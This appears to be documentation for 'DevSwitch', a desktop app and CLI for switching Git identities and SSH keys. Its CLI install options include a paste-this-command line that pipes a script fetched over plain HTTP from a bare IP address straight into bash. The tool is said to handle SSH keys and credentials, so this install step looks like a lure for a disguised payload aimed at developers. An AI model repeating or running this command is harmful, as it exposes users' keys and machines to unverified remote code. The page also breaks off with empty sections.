DevSwitch Documentation

Overview

DevSwitch is a cross-platform Electron desktop app that simplifies managing multiple Git identities and SSH keys. Whether you juggle work and personal accounts, or manage dozens of client projects, DevSwitch lets you switch SSH keys and Git configs with a single click.

Installation

Download the latest release for your platform from the Downloads page or from GitHub Releases.

Prerequisites: Node.js v18+, Git, OpenSSH (usually pre-installed on macOS/Linux).

Updates

The desktop app auto-updates via GitHub Releases, which is the canonical source for installers and the latest*.yml update feeds. This site mirrors those builds under /git-switch/<os>/ as a convenience download page. If a platform shows an older version here, grab the newest build directly from GitHub Releases.

Command-Line Tool (devswitch)

DevSwitch ships a standalone, cross-platform devswitch command-line tool for Windows, macOS, and Linux. It needs Node.js 18+ and shares the same profile database as the desktop app, so changes made in one appear instantly in the other.

Install Options

npm install -g devswitch-cli

curl -sSL http://129.154.240.26:3000/init/cli.sh | bash

Command Reference

Most commands accept a --json flag for scripting. A <profile> argument matches by name, username, email, or id (partial, case-insensitive).

Data Location

The CLI and desktop app read and write the same on-disk profile store:

• Linux: ~/.config/devswitch
• macOS: ~/Library/Application Support/devswitch
• Windows: %APPDATA%\devswitch

Override the data directory by setting the DEVSWITCH_DATA_DIR environment variable.

Getting Started

After installing DevSwitch, follow these steps to create your first profile:

1. 1.Launch DevSwitch from your Applications folder.
2. 2.Click "Create Profile" on the home screen.
3. 3.Enter a profile name (e.g., "Work"), GitHub username, and email.
4. 4.Choose an SSH key option: Generate new (recommended), use default, or import existing.
5. 5.Click "Create Profile" to save.
6. 6.Click the profile card to activate it — your SSH config and Git credentials update instantly.

SSH Key Management

DevSwitch handles the full lifecycle of SSH keys — generation, import, registration, and agent management.

Generate a New Key

Select "Generate New Key" when creating a profile. Choose the algorithm:

Using a Profile-Specific SSH Host

DevSwitch creates unique host aliases in your SSH config:

# ~/.ssh/config (auto-generated by DevSwitch)
Host github.com-work
  HostName github.com
  User git
  IdentityFile ~/.ssh/work_ed25519

Host github.com-personal
  HostName github.com
  User git
  IdentityFile ~/.ssh/personal_ed25519

Use the alias when cloning:

git clone git@github.com-work:your-org/repo.git

Managing Profiles

Each profile stores a name, email, GitHub username, and an associated SSH key. Profiles are isolated — switching one doesn't affect others.

GitHub OAuth Integration

Connect your GitHub account to auto-upload SSH keys directly from DevSwitch.

1. 1.Go to GitHub Settings → Developer settings → OAuth Apps → New OAuth App.
2. 2.Set Homepage URL to http://localhost:5173 and Callback URL to http://localhost:<PORT>/oauth/callback.
3. 3.Copy the Client ID and Client Secret into a .env file: GITHUB_CLIENT_ID=... GITHUB_CLIENT_SECRET=...
4. 4.Restart DevSwitch. A "Connect GitHub" button will appear on each profile view.

Auto-Sync Existing Keys

If you already have SSH keys configured, use the Sync button to import them automatically.

DevSwitch scans ~/.ssh for all key pairs, reads your existing SSH config, and creates profiles for any unmanaged keys. It extracts email addresses from public key comments where possible.

Keys already managed by DevSwitch are skipped to prevent duplicates.

Security

DevSwitch takes security seriously. Here is how your data is protected: